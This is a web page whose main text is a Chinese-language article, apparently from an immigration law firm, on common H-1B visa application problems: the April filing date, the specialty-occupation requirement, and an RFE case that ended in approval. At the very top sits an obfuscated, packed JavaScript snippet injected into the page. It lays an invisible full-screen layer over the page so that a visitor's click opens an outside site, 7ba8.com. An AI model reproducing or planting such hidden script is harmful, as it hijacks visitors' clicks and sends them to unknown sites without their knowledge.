<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>每年4月1日是受H-1B名额限制的H-1B申请新一年度的最早递交申请日。随着这一天的来临，很多新近毕业的大学生或正持OPT工作的人员都希望能尽早将申请递出，以确保占有一个2014年H-1B名额。为此，我想借用这篇文章向大家介绍H-1B申请中最常出现的一些问题及应对方法，希望对准备申请H-1B的同学 有所帮助。
一． 专业职位 （Specialty Occupation）H-1B申请最基本的要求之一就是H-1B申请受益人的职位必须是专业职位。法律对专业职位的定义是通常要求至少本科学位的职位，比如会计师，电脑程序员，工程师，财务分析师，精算师，等等。如果所申请职位通常只要求高中或大专学历，比如销售，采购，技师，行政助理，秘书等职位， 则该职位就不符合H-1B申请条件。需要注意的是，这里的至少本科学位的要求是对所申请职位本身而言，与受益人是否拥有该学位无关。举个例子，一个医疗机构准备给其临床实验室的一名技术员递交H-1B申请，该技术员拥有生物学本科学历。因为医疗临床实验室技术员的职位通常只要求大专学历或相关工作经验，尽管该技术员本身拥有本科学历，此H-1B申请也会因所申请职位不属于专业职位而被拒绝。
近年来，我们明显感觉移民局对H-1B申请的审理日趋严格。对一些传统上被广泛认为符合专业职位要求的，在过去的H-1B申请中向来被顺利批准的职业，比如财务分析师 （Financial Analyst），系统分析师 (System Analyst)，公关专员 (Public RelationsSpecialist), etc. 最近也频频遭到移民官对职位是否属于专业职位的质疑，我们甚至也听说了不少由此导致申请被拒的案例。我所去年为一名财务专员（ Financial Specialist）递交的H-1B申请就收到了一份发自移民局的RFE（补充证据要求），要求我们递交证据补充证明该财务专员职位属于至少要求本科学位的专业职位。为此，我们建议雇主准备一份更为详尽的信解释这份工作的复杂程度及要求至少本科学位的必要性。我们同时还建议并帮助客户收集专家证词及业界关于类似职位的最低学位要求，以帮助证明该职位属于专业职位的要求。在RFE回复一周后，我们顺利收到了该H-1B申请的批准通知。 |
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